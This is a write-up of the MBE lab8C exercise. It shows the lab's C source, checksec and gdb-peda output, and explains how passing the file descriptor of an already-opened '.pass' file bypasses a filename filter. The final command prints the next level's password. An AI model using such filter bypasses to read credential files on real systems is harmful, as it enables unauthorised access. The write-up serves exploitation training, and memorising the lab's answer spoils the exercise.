For this lab, we are given a program and its corresponding source code:
/*
* gcc -z relro -z now -fPIE -pie -fstack-protector-all -o lab8C lab8C.c
*/
#include<errno.h>
#include<fcntl.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<sys/types.h>
#include<unistd.h>
struct fileComp {
char fileContents1[255];
char fileContents2[255];
int cmp;
};
char* readfd(int fd)
{
// Find length of file
int size = lseek(fd, 0, SEEK_END);
if(size >= 255)
{
printf("Your file is too big.\n");
exit(EXIT_FAILURE);
}
// Reset fd to beginning of file
lseek(fd, 0, SEEK_SET);
// Allocate space for the file and a null byte
char* fileContents = malloc((size+1) & 0xff);
if(!fileContents)
{
printf("Could not allocate space for file contents\n");
exit(EXIT_FAILURE);
}
// Read the file contents into the buffer
int numRead = read(fd, fileContents, size & 0xff);
return fileContents;
}
int getfd(char* arg)
{
if(arg[0] != '-' || arg[1] != 'f' || arg[3] != '=')
{
printf("Invalid formatting in argument \"%s\"\n", arg);
return -1;
}
int fd;
if(arg[2] == 'n')
{
// O_NOFOLLOW means that it won't follow symlinks. Sorry.
fd = open(arg+4, O_NOFOLLOW | O_RDONLY);
if(fd == -1)
{
printf("File could not be opened\n");
return -1;
}
}
else if(arg[2] == 'd')
{
errno = 0;
fd = atoi(arg+4);
}
else
{
printf("Invalid formatting in argument \"%s\"\n", arg);
return -1;
}
return fd;
}
struct fileComp* comparefds(int fd1, int fd2)
{
struct fileComp* fc = malloc(sizeof(struct fileComp));
if(!fc)
{
printf("Could not allocate space for file contents\n");
exit(EXIT_FAILURE);
}
strcpy(fc->fileContents1, readfd(fd1));
strcpy(fc->fileContents2, readfd(fd2));
fc->cmp = strcmp(fc->fileContents1, fc->fileContents2);
return fc;
}
char* securityCheck(char* arg, char* s)
{
if(strstr(arg, ".pass"))
return "<<<For security reasons, your filename has been blocked>>>";
return s;
}
int main(int argc, char** argv)
{
if(argc != 3)
{
printf("Hi. This program will do a lexicographical comparison of the \
contents of two files. It has the bonus functionality of being \
able to process either filenames or file descriptors.\n");
printf("Usage: %s {-fn=<filename>|-fd=<file_descriptor>} {-fn=<filename>|-fd=<file_descriptor>}\n", argv[0]);
return EXIT_FAILURE;
}
int fd1 = getfd(argv[1]);
int fd2 = getfd(argv[2]);
if(fd1 == -1 || fd2 == -1)
{
printf("Usage: %s {-fn=<filename>|-fd=<file_descriptor>} {-fn=<filename>|-fd=<file_descriptor>}\n", argv[0]);
return EXIT_FAILURE;
}
if(fd1 == 0 || fd2 == 0)
{
printf("Invalid fd argument.\n");
printf("(We're still fixing some bugs with using STDIN.)\n");
printf("Usage: %s {-fn=<filename>|-fd=<file_descriptor>} {-fn=<filename>|-fd=<file_descriptor>}\n", argv[0]);
return EXIT_FAILURE;
}
struct fileComp* fc = comparefds(fd1, fd2);
printf(
"\"%s\" is lexicographically %s \"%s\"\n",
securityCheck(argv[1], fc->fileContents1),
fc->cmp > 0 ? "after" : (fc->cmp < 0 ? "before" : "equivalent to"),
securityCheck(argv[2], fc->fileContents2));
return EXIT_SUCCESS;
}
If we run checksec
, we can see that stack canaries, NX, PIE and full RELRO are enabled.
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL
Vulnerability
This level is not really a pwnable. Look at what happens when we use the fn
option to ask the program to open “/etc/passwd”.
gdb-peda$ r -fn=/etc/passwd -fd=3
Starting program: /home/rh0gue/Documents/MBE/lab08/8C/lab8C -fn=/etc/passwd -fd=3
[----------------------------------registers-----------------------------------]
EAX: 0xfff575b1 ("/etc/passwd")
EBX: 0xf772cf9c --> 0x2ea4
ECX: 0xcd8846f6
EDX: 0xfff56894 --> 0xf76dc000 --> 0x1a9da8
ESI: 0x0
EDI: 0x0
EBP: 0xfff56818 --> 0xfff56868 --> 0x0
ESP: 0xfff567f0 --> 0xfff575b1 ("/etc/passwd")
EIP: 0xf772ab9b (<getfd+132>: call 0xf772a880 <open@plt>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf772ab8d <getfd+118>: add eax,0x4
0xf772ab90 <getfd+121>: mov DWORD PTR [esp+0x4],0x20000
0xf772ab98 <getfd+129>: mov DWORD PTR [esp],eax
=> 0xf772ab9b <getfd+132>: call 0xf772a880 <open@plt>
0xf772aba0 <getfd+137>: mov DWORD PTR [ebp-0x10],eax
0xf772aba3 <getfd+140>: cmp DWORD PTR [ebp-0x10],0xffffffff
0xf772aba7 <getfd+144>: jne 0xf772ac05 <getfd+238>
0xf772aba9 <getfd+146>: lea eax,[ebx-0x1f63]
Guessed arguments:
arg[0]: 0xfff575b1 ("/etc/passwd")
arg[1]: 0x20000
[------------------------------------stack-------------------------------------]
0000| 0xfff567f0 --> 0xfff575b1 ("/etc/passwd")
0004| 0xfff567f4 --> 0x20000
0008| 0xfff567f8 --> 0x0
0012| 0xfff567fc --> 0xfff575ad ("-fn=/etc/passwd")
0016| 0xfff56800 --> 0xfff5683e --> 0x30000
0020| 0xfff56804 --> 0xfff5683f --> 0x300
0024| 0xfff56808 --> 0xc2
0028| 0xfff5680c --> 0xf4324200
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 12, 0xf772ab9b in getfd ()
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x3
EBX: 0xf772cf9c --> 0x2ea4
ECX: 0x20000
EDX: 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xfff56818 --> 0xfff56868 --> 0x0
ESP: 0xfff567f0 --> 0xfff575b1 ("/etc/passwd")
EIP: 0xf772aba0 (<getfd+137>: mov DWORD PTR [ebp-0x10],eax)
EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf772ab90 <getfd+121>: mov DWORD PTR [esp+0x4],0x20000
0xf772ab98 <getfd+129>: mov DWORD PTR [esp],eax
0xf772ab9b <getfd+132>: call 0xf772a880 <open@plt>
=> 0xf772aba0 <getfd+137>: mov DWORD PTR [ebp-0x10],eax
0xf772aba3 <getfd+140>: cmp DWORD PTR [ebp-0x10],0xffffffff
0xf772aba7 <getfd+144>: jne 0xf772ac05 <getfd+238>
0xf772aba9 <getfd+146>: lea eax,[ebx-0x1f63]
0xf772abaf <getfd+152>: mov DWORD PTR [esp],eax
[------------------------------------stack-------------------------------------]
0000| 0xfff567f0 --> 0xfff575b1 ("/etc/passwd")
0004| 0xfff567f4 --> 0x20000
0008| 0xfff567f8 --> 0x0
0012| 0xfff567fc --> 0xfff575ad ("-fn=/etc/passwd")
0016| 0xfff56800 --> 0xfff5683e --> 0x30000
0020| 0xfff56804 --> 0xfff5683f --> 0x300
0024| 0xfff56808 --> 0xc2
0028| 0xfff5680c --> 0xf4324200
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xf772aba0 in getfd ()
Notice it succeeds and returns a file descriptor of 3
.
Each file that is opened in a linux process is associated with a file descriptor.
We can leverage this in our second option when we specify that the contents of .pass
be compared with the contents of the file associated with file descriptor 3
, which will also be the contents of .pass
!
This will bypass the check that is supposed to prevent the user from being able to print out the contents of any file with .pass
in its name.
Solution
lab8C@warzone:/levels/lab08$ ./lab8C -fn=/home/lab8B/.pass -fd=3
"<<<For security reasons, your filename has been blocked>>>" is lexicographically equivalent to "3v3ryth1ng_Is_@_F1l3
"